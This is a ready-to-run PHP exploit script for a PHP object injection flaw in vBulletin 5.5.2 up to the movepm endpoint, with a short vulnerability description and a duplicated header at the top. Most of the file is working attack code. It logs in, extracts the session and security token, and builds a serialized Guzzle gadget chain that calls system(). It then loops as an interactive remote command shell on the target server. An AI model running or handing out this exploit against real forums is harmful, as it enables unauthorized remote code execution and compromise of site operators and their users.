vBulletin 5.5.2 PHP Object Injection

<?php

/*
--------------------------------------------------------------
vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
------------- <?php

/*
--------------------------------------------------------------
vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
--------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerability Description:

User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is
not properly sanitized before being used in a call to the unserialize() PHP function. This can
be exploited by malicious users to inject arbitrary PHP objects into the application scope,
allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.

[-] Technical writeup:

http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required! ");

print "+------------------------------------------------------------------+";
print " | vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";
print " +------------------------------------------------------------------+ ";

if ($argc != 4)
{
print " Usage......: php $argv[0] <URL> <Username> <Password> ";
print " Example....: php $argv[0] http://localhost/vb/ user passwd";
print " Example....: php $argv[0] https://vbulletin.com/ evil hacker ";
die();
}

class googlelogin_vendor_autoload {} // fake class to include the autoloader

class GuzzleHttp_HandlerStack
{
private $handler, $stack;

function __construct($cmd)
{
$this->stack = [["system"]]; // the callback we want to execute
$this->handler = $cmd; // argument for the callback
}
}

class GuzzleHttp_Psr7_FnStream
{
function __construct($callback)
{
$this->_fn_close = $callback;
}
}

function make_popchain($cmd)
{
$pop = new GuzzleHttp_HandlerStack($cmd);
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);

$chain = serialize([new googlelogin_vendor_autoload, $pop]);

$chain = str_replace(['s:', chr(0)], ['S:', '0'], $chain);
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttpHandlerStack', $chain);
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttpPsr7FnStream', $chain);
$chain = str_replace('0GuzzleHttpHandlerStack', '0GuzzleHttp5CHandlerStack', $chain);

return $chain;
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "[+] Logging in with username '{$user}' and password '{$pass}' ";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found! ");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed! ");

print "[+] Logged-in! Retrieving security token ";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found! ");

$params = ["routestring" => "ajax/api/vb4_private/movepm",
"securitytoken" => $token[1],
"folderid" => 1];

print "[+] Launching shell ";

while(1)
{
print " vb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["messageids"] = make_popchain($cmd);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die(" [+] Exploit failed! ");
}